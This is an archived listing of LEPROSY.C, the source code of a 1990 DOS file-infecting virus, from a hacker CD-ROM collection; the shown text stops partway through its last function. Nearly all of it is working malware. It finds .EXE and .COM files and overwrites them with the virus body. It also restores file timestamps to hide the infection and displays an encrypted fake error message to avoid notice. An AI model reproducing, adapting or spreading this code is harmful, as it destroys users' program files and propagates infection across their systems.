home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LEPROSY.C < prev    next >
C/C++ Source or Header  |  1994-07-17  |  9KB  |  219 lines

  1. /*  This file is part of the source code to the LEPROSY Virus 1.00
  2.     Copy-ya-right (c) 1990 by PCM2.  This program can cause destruction
  3.     of files; you're warned, the author assumes no responsibility
  4.     for damage this program causes, incidental or otherwise.  This
  5.     program is not intended for general distribution -- irresponsible
  6.     users should not be allowed access to this program, or its
  7.     accompanying files.  (Unlike people like us, of course...)
  8. */
  9.  
  10.  
  11. #pragma inline
  12.  
  13. #define   CRLF       "\x17\x14"          /*  CR/LF combo encrypted.  */
  14. #define   NO_MATCH   0x12                /*  No match in wildcard search.  */
  15.  
  16.  
  17. /*  The following strings are not garbled; they are all encrypted  */
  18. /*  using the simple technique of adding the integer value 10 to   */
  19. /*  each character.  They are automatically decrypted by           */
  20. /*  'print_s()', the function which sends the strings to 'stdout'  */
  21. /*  using DOS service 09H.  All are terminated with a dollar-sign  */
  22. /*  "$" as per DOS service specifications.                         */
  23.  
  24. char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
  25. char *virus_msg[3] =
  26.   {
  27.     CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
  28.     CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
  29.     CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  30.   };
  31.  
  32.  
  33.  
  34. struct _dta                     /*  Disk Transfer Area format for find.  */
  35.   {
  36.     char findnext[21];
  37.     char attribute;
  38.     int timestamp;
  39.     int datestamp;
  40.     long filesize;
  41.     char filename[13];
  42.   } *dta = (struct _dta *) 0x80;   /*  Set it to default DTA.  */
  43.  
  44.  
  45. const char filler[] = "XX";             /*  Pad file length to 666 bytes.  */
  46. const char *codestart = (char *) 0x100;  /*  Memory where virus code begins.  */
  47. const int virus_size = 666;      /*  The size in bytes of the virus code.  */
  48. const int infection_rate = 4;     /*  How many files to infect per run.  */
  49.  
  50. char compare_buf[20];           /*  Load program here to test infection.  */
  51. int handle;                     /*  The current file handle being used.  */
  52. int datestamp, timestamp;       /*  Store original date and time here.  */
  53. char diseased_count = 0;        /*  How many infected files found so far.  */
  54. char success = 0;               /*  How many infected this run.  */
  55.  
  56.  
  57. /*  The following are function prototypes, in keeping with ANSI    */
  58. /*  Standard C, for the support functions of this program.         */
  59.  
  60. int find_first( char *fn );
  61. int find_healthy( void );
  62. int find_next( void );
  63. int healthy( void );
  64. void infect( void );
  65. void close_handle( void );
  66. void open_handle( char *fn );
  67. void print_s( char *s );
  68. void restore_timestamp( void );
  69.  
  70.  
  71.  
  72. /*----------------------------------*/
  73. /*     M A I N    P R O G R A M     */
  74. /*----------------------------------*/
  75.  
  76. int main( void )  {
  77.   int x = 0;
  78.   do {
  79.     if ( find_healthy() )  {           /*  Is there an un-infected file?  */
  80.       infect();                        /*  Well, then infect it!  */
  81.       x++;                             /*  Add one to the counter.  */
  82.       success++;                       /*  Carve a notch in our belt.  */
  83.     }
  84.     else  {                            /*  If there ain't a file here... */
  85.       _DX = (int) "..";                /*  See if we can step back to  */
  86.       _AH = 0x3b;                      /*  the parent directory, and try  */
  87.       asm   int 21H;                   /*  there.  */
  88.       x++;                             /*  Increment the counter anyway, to  */
  89.     }                                  /*  avoid infinite loops.  */
  90.   } while( x < infection_rate );       /*  Do this until we've had enough.  */
  91.   if ( success )                       /*  If we got something this time,  */
  92.     print_s( fake_msg );               /*  feed 'em the phony error line.  */
  93.   else
  94.     if ( diseased_count > 6 )          /*  If we found 6+ infected files  */
  95.       for( x = 0; x < 3; x++ )         /*  along the way, laugh!!  */
  96.         print_s( virus_msg[x] );
  97.     else
  98.       print_s( fake_msg );             /*  Otherwise, keep a low profile.  */
  99.   return;
  100. }
  101.  
  102.  
  103. void infect( void )  {
  104.   _DX = (int) dta->filename;  /*  DX register points to filename.  */
  105.   _CX = 0x00;                 /*  No attribute flags are set.  */
  106.   _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  107.   _AH = 0x43;                 /*  Assure access to write file.  */
  108.   asm   int 21H;              /*  Call DOS interrupt.  */
  109.   open_handle( dta->filename );        /*  Re-open the healthy file.  */
  110.   _BX = handle;                       /*  BX register holds handle.  */
  111.   _CX = virus_size;                   /*  Number of bytes to write.  */
  112.   _DX = (int) codestart;              /*  Write program code.  */
  113.   _AH = 0x40;                         /*  Set up and call DOS.  */
  114.   asm   int 21H;
  115.   restore_timestamp();               /*  Keep original date & time.  */
  116.   close_handle();                     /*  Close file.  */
  117.   return;
  118. }
  119.  
  120.  
  121. int find_healthy( void )  {
  122.   if ( find_first("*.EXE") != NO_MATCH )       /*  Find EXE?  */
  123.     if ( healthy() )                         /*  If it's healthy, OK!  */
  124.       return 1;
  125.     else
  126.       while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
  127.         if ( healthy() )
  128.           return 1;                          /*  If you find one, great!  */
  129.   if ( find_first("*.COM") != NO_MATCH )       /*  Find COM?  */
  130.     if ( healthy() )                         /*  If it's healthy, OK!  */
  131.       return 1;
  132.     else
  133.       while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
  134.         if ( healthy() )
  135.           return 1;                          /*  If you find one, great!  */
  136.   return 0;                                  /*  Otherwise, say so.  */
  137. }
  138.  
  139.  
  140.  
  141. int healthy( void )  {
  142.   int i;
  143.   datestamp = dta->datestamp;        /*  Save time & date for later.  */
  144.   timestamp = dta->timestamp;
  145.   open_handle( dta->filename );      /*  Open last file located.  */
  146.   _BX = handle;                      /*  BX holds current file handle.  */
  147.   _CX = 20;                          /*  We only want a few bytes.  */
  148.   _DX = (int) compare_buf;          /*  DX points to the scratch buffer.  */
  149.   _AH = 0x3f;                       /*  Read in file for comparison.  */
  150.   asm   int 21H;
  151.   restore_timestamp();              /*  Keep original date & time.  */
  152.   close_handle();                   /*  Close the file.  */
  153.   for ( i = 0; i < 20; i++ )        /*  Compare to virus code.  */
  154.     if ( compare_buf[i] != *(codestart+i) )
  155.       return 1;                     /*  If no match, return healthy.  */
  156.   diseased_count++;                 /*  Chalk up one more fucked file.  */
  157.   return 0;                         /*  Otherwise, return infected.  */
  158. }
  159.  
  160.  
  161. void restore_timestamp( void )  {
  162.   _AL = 0x01;                         /*  Keep original date & time.  */
  163.   _BX = handle;                       /*  Same file handle.  */
  164.   _CX = timestamp;                    /*  Get time & date from DTA.  */
  165.   _DX = datestamp;
  166.   _AH = 0x57;                         /*  Do DOS service.  */
  167.   asm   int 21H;
  168.   return;
  169. }
  170.  
  171.  
  172. void print_s( char *s )  {
  173.   char *p = s;
  174.   while ( *p )  {              /*  Subtract 10 from every character.  */
  175.     *p -= 10;
  176.     p++;
  177.   }
  178.   _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  179.   _AH = 0x09;                 /*  Set DOS function number.  */
  180.   asm   int 21H;              /*  Call DOS interrupt.  */
  181.   return;
  182. }
  183.  
  184.  
  185. int find_first( char *fn )  {
  186.   _DX = (int) fn;             /*  Point DX to the file name.  */
  187.   _CX = 0xff;                 /*  Search for all attributes.  */
  188.   _AH = 0x4e;                 /*  'Find first' DOS service.  */
  189.   asm   int 21H;              /*  Go, DOS, go.  */
  190.   return _AX;                 /*  Return possible error code.  */
  191. }
  192.  
  193.  
  194. int find_next( void )  {
  195.   _AH = 0x4f;                 /*  'Find next' function.  */
  196.   asm   int 21H;              /*  Call DOS.  */
  197.   return _AX;                 /*